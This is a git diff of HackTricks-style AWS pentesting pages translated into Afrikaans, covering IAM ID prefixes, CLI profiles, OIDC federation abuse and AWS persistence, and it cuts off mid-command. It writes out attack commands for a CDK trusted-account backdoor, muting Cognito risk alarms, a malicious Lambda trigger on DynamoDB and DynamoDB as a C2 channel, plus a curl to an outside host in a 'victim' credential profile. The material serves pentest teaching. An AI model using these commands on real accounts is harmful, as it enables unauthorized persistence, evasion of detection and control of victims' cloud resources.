| ACCA | Context-specific credential |
|
||||
| AGPA | User group |
|
||||
| AIDA | IAM user |
|
||||
| AIPA | Amazon EC2 instance profile |
|
||||
| AKIA | Access key |
|
||||
| ANPA | Managed policy |
|
||||
| ANVA | Version in a managed policy |
|
||||
| APKA | Public key |
|
||||
| AROA | Role |
|
||||
| ASCA | Certificate |
|
||||
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
|
||||
| ACCA | Konteks-spesifieke akkrediet |
|
||||
| AGPA | Gebruikersgroep |
|
||||
| AIDA | IAM gebruiker |
|
||||
| AIPA | Amazon EC2 instansieprofiel |
|
||||
| AKIA | Toegangssleutel |
|
||||
| ANPA | Gemanagte beleid |
|
||||
| ANVA | Weergawe in 'n gemanagte beleid |
|
||||
| APKA | Publieke sleutel |
|
||||
| AROA | Rol |
|
||||
| ASCA | Sertifikaat |
|
||||
| ASIA | [Tydelike (AWS STS) toegangssleutel ID's](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) gebruik hierdie vooraf, maar is uniek slegs in kombinasie met die geheime toegangssleutel en die sessietoken. |
|
||||
|
||||
### Recommended permissions to audit accounts
|
||||
### Aanbevole toestemmings om rekeninge te oudit
|
||||
|
||||
The following privileges grant various read access of metadata:
|
||||
Die volgende voorregte bied verskeie lees toegang van metadata:
|
||||
|
||||
- `arn:aws:iam::aws:policy/SecurityAudit`
|
||||
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
|
||||
@@ -356,14 +344,13 @@ The following privileges grant various read access of metadata:
|
||||
- `directconnect:DescribeConnections`
|
||||
- `dynamodb:ListTables`
|
||||
|
||||
## Misc
|
||||
## Verskeie
|
||||
|
||||
### CLI Authentication
|
||||
|
||||
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
|
||||
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
|
||||
Example of credentials file with more than 1 profile:
|
||||
### CLI Verifikasie
|
||||
|
||||
Om 'n gereelde gebruiker te laat verifieer by AWS via CLI, moet jy **lokale akkrediteer** hê. Standaard kan jy dit **handmatig** in `~/.aws/credentials` konfigureer of deur **te loop** `aws configure`.\
|
||||
In daardie lêer kan jy meer as een profiel hê, as **geen profiel** gespesifiseer word met die **aws cli**, sal die een genaamd **`[default]`** in daardie lêer gebruik word.\
|
||||
Voorbeeld van akkrediteer lêer met meer as 1 profiel:
|
||||
```
|
||||
[default]
|
||||
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
|
||||
@@ -374,12 +361,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
|
||||
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
|
||||
region = eu-west-2
|
||||
```
|
||||
As jy toegang nodig het tot **verskillende AWS-rekeninge** en jou profiel toegang gegee is om **'n rol binne daardie rekeninge aan te neem**, hoef jy nie elke keer STS handmatig aan te roep nie (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) en die geloofsbriewe te konfigureer nie.
|
||||
|
||||
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
|
||||
|
||||
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
|
||||
A config file example:
|
||||
|
||||
Jy kan die `~/.aws/config` lêer gebruik om[ **aan te dui watter rolle om aan te neem**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), en dan die `--profile` parameter soos gewoonlik gebruik (die `assume-role` sal op 'n deursigtige manier vir die gebruiker uitgevoer word).\
|
||||
'n Konfigurasielêer voorbeeld:
|
||||
```
|
||||
[profile acc2]
|
||||
region=eu-west-2
|
||||
@@ -388,36 +373,30 @@ role_session_name = <session_name>
|
||||
source_profile = <profile_with_assume_role>
|
||||
sts_regional_endpoints = regional
|
||||
```
|
||||
|
||||
With this config file you can then use aws cli like:
|
||||
|
||||
Met hierdie konfigurasie-lêer kan jy dan aws cli gebruik soos:
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
As jy op soek is na iets **soortgelyks** soos dit, maar vir die **blaaier**, kan jy die **uitbreiding** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) kyk.
|
||||
|
||||
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
#### Automating temporary credentials
|
||||
|
||||
If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
|
||||
#### Outomatisering van tydelike akrediteer
|
||||
|
||||
As jy 'n toepassing ontgin wat tydelike akrediteer genereer, kan dit vervelig wees om dit elke paar minute in jou terminale op te dateer wanneer dit verval. Dit kan reggestel word deur 'n `credential_process` riglyn in die konfigurasie-lêer te gebruik. Byvoorbeeld, as jy 'n kwesbare webapp het, kan jy doen:
|
||||
```toml
|
||||
[victim]
|
||||
credential_process = curl -d 'PAYLOAD' https://some-site.com
|
||||
```
|
||||
|
||||
Note that credentials _must_ be returned to STDOUT in the following format:
|
||||
Let daarop dat geloofsbriewe _moet_ teruggestuur word na STDOUT in die volgende formaat:
|
||||
```json
|
||||
{
|
||||
"Version": 1,
|
||||
"AccessKeyId": "an AWS access key",
|
||||
"SecretAccessKey": "your AWS secret access key",
|
||||
"SessionToken": "the AWS session token for temporary credentials",
|
||||
"Expiration": "ISO8601 timestamp when the credentials expire"
|
||||
}
|
||||
"Version": 1,
|
||||
"AccessKeyId": "an AWS access key",
|
||||
"SecretAccessKey": "your AWS secret access key",
|
||||
"SessionToken": "the AWS session token for temporary credentials",
|
||||
"Expiration": "ISO8601 timestamp when the credentials expire"
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
|
||||
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
|
||||
|
||||
@@ -1,87 +1,84 @@
|
||||
# AWS - Federation Abuse
|
||||
# AWS - Federasie Misbruik
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SAML
|
||||
|
||||
For info about SAML please check:
|
||||
Vir inligting oor SAML, kyk asseblief:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
|
||||
Om 'n **Identiteitsfederasie deur SAML** te konfigureer, moet jy net 'n **naam** en die **metadata XML** wat al die SAML-konfigurasie bevat (**eindpunte**, **sertifikaat** met publieke sleutel) verskaf.
|
||||
|
||||
## OIDC - Github Actions Abuse
|
||||
## OIDC - Github Aksies Misbruik
|
||||
|
||||
In order to add a github action as Identity provider:
|
||||
|
||||
1. For _Provider type_, select **OpenID Connect**.
|
||||
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
|
||||
3. Click on _Get thumbprint_ to get the thumbprint of the provider
|
||||
4. For _Audience_, enter `sts.amazonaws.com`
|
||||
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
|
||||
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
|
||||
8. Finally use a github action to configure the AWS creds to be used by the workflow:
|
||||
Om 'n github aksie as Identiteitsverskaffer by te voeg:
|
||||
|
||||
1. Vir _Verskaffer tipe_, kies **OpenID Connect**.
|
||||
2. Vir _Verskaffer URL_, voer `https://token.actions.githubusercontent.com` in.
|
||||
3. Klik op _Kry duimafdruk_ om die duimafdruk van die verskaffer te kry.
|
||||
4. Vir _Doelgroep_, voer `sts.amazonaws.com` in.
|
||||
5. Skep 'n **nuwe rol** met die **toestemmings** wat die github aksie benodig en 'n **vertrouensbeleid** wat die verskaffer vertrou soos:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Let op in die vorige beleid hoe slegs 'n **tak** van 'n **bewaarplek** van 'n **organisasie** met 'n spesifieke **trigger** gemagtig was.
|
||||
7. Die **ARN** van die **rol** wat die github aksie gaan kan **naboots**, gaan die "geheim" wees wat die github aksie moet weet, so **stoor** dit binne 'n **geheim** binne 'n **omgewing**.
|
||||
8. Laastens, gebruik 'n github aksie om die AWS krediete te konfigureer wat deur die werksvloei gebruik gaan word:
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
|
||||
# The workflow should only trigger on pull requests to the main branch
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
# Required to get the ID Token that will be used for OIDC
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
|
||||
jobs:
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
```
|
||||
|
||||
## OIDC - EKS Abuse
|
||||
|
||||
## OIDC - EKS Misbruik
|
||||
```bash
|
||||
# Crate an EKS cluster (~10min)
|
||||
eksctl create cluster --name demo --fargate
|
||||
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
|
||||
# Create an Identity Provider for an EKS cluster
|
||||
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
```
|
||||
|
||||
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
|
||||
|
||||
Dit is moontlik om **OIDC providers** in 'n **EKS** kluster te genereer deur eenvoudig die **OIDC URL** van die kluster as 'n **nuwe Open ID Identiteitsverskaffer** in te stel. Dit is 'n algemene standaardbeleid:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Hierdie beleid dui korrek aan dat **slegs** die **EKS-kluster** met **id** `20C159CDF6F2349B68846BEC03BE031B` die rol kan aanvaar. Dit dui egter nie aan watter diensrekening dit kan aanvaar nie, wat beteken dat **ENIGE diensrekening met 'n webidentiteitskennisgewing** in staat gaan wees om die rol te **aanvaar**.
|
||||
|
||||
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
|
||||
|
||||
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
|
||||
|
||||
Om te spesifiseer **watter diensrekening die rol moet kan aanvaar,** is dit nodig om 'n **voorwaarde** te spesifiseer waar die **diensrekeningnaam gespesifiseer word**, soos:
|
||||
```bash
|
||||
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
|
||||
```
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,21 +1,17 @@
|
||||
# AWS - Permissions for a Pentest
|
||||
# AWS - Toestemmings vir 'n Pentest
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
|
||||
Dit is die toestemmings wat jy nodig het op elke AWS-rekening wat jy wil oudit om al die voorgestelde AWS-ouditgereedskap te kan gebruik:
|
||||
|
||||
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- Die standaard beleid **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- Om [aws_iam_review](https://github.com/carlospolop/aws_iam_review) te kan uitvoer, het jy ook die toestemmings nodig:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Opsioneel as die kliënt die analiseerders vir jou genereer, maar gewoonlik is dit makliker om net vir hierdie toestemming te vra)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Opsioneel as die kliënt die analiseerders vir jou verwyder, maar gewoonlik is dit makliker om net vir hierdie toestemming te vra)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
# AWS - Persistence
|
||||
# AWS - Volharding
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +0,0 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||
Or just remove the use of the authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||
Or just remove the use of the authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Wysig die resource policy van die API gateway(s) om jouself toegang daartoe te gee
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Wysig die kode van lambda authorizers om jouself toegang tot al die endpoints te gee.\
|
||||
Of verwyder net die gebruik van die authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
As 'n resource 'n IAM authorizer gebruik, kan jy jouself toegang gee deur IAM permissions aan te pas.\
|
||||
Of verwyder net die gebruik van die authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
As API keys gebruik word, kan jy hulle leak om persistence te behou of selfs nuwe te skep.\
|
||||
Of verwyder net die gebruik van API keys.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,25 +0,0 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
|
||||
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Vir meer inligting, besoek:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
Die AWS CDK ontplooi 'n CFN stack genaamd `CDKToolkit`. Hierdie stack ondersteun 'n parameter `TrustedAccounts` wat externe rekeninge toelaat om CDK-projekte in die slagofferrekening te ontplooi. 'n Aanvaller kan dit misbruik om hulself onbepaalde toegang tot die slagofferrekening te verleen, hetsy deur die AWS cli te gebruik om die stack met parameters te herontplooi, of die AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,46 +0,0 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
|
||||
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
|
||||
|
||||
- **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Or to an **authenticated Identity Pool** if the attacker can login
|
||||
- Or **improve the permissions** of the given roles
|
||||
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
||||
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
||||
|
||||
Check how to do these actions in
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
By default this is disabled:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
# AWS - Cognito Persistensie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Vir meer inligting, besoek:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Gebruikerpersistensie
|
||||
|
||||
Cognito is 'n diens wat dit toelaat om rolle aan ongeverifieerde en geverifieerde gebruikers toe te ken en 'n gids van gebruikers te beheer. Verskeie verskillende konfigurasies kan verander word om 'n mate van persistensie te behou, soos:
|
||||
|
||||
- **Voeg 'n User Pool by** wat deur die gebruiker beheer word aan 'n Identity Pool
|
||||
- **Ken 'n IAM role aan 'n unauthenticated Identity Pool en staan Basic auth flow toe**
|
||||
- Of na 'n **authenticated Identity Pool** as die aanvaller kan login
|
||||
- Of **verbeter die permissions** van die gegewe rolle
|
||||
- **Create, verify & privesc** deur gebruikers wat deur attributes beheer word of deur nuwe gebruikers in 'n **User Pool**
|
||||
- **Sta external Identity Providers toe** om in 'n User Pool of in 'n Identity Pool te login
|
||||
|
||||
Sien hoe om hierdie aksies uit te voer in
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
'N aanvaller met hierdie reg kan die risk configuration wysig om as 'n Cognito-gebruiker te kan login **sonder dat alarms geaktiveer word**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) om al die opsies te kontroleer:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Standaard is dit gedeaktiveer:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,67 +0,0 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
|
||||
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
# AWS - DynamoDB Persistensie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Vir meer inligting, besoek:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers met Lambda Backdoor
|
||||
|
||||
Deur DynamoDB triggers te gebruik, kan 'n aanvaller 'n **stealthy backdoor** skep deur 'n kwaadwillige Lambda function aan 'n tabel te koppel. Die Lambda function kan getrigger word wanneer 'n item bygevoeg, gewysig of verwyder word, waardeur die aanvaller willekeurige kode binne die AWS-account kan uitvoer.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
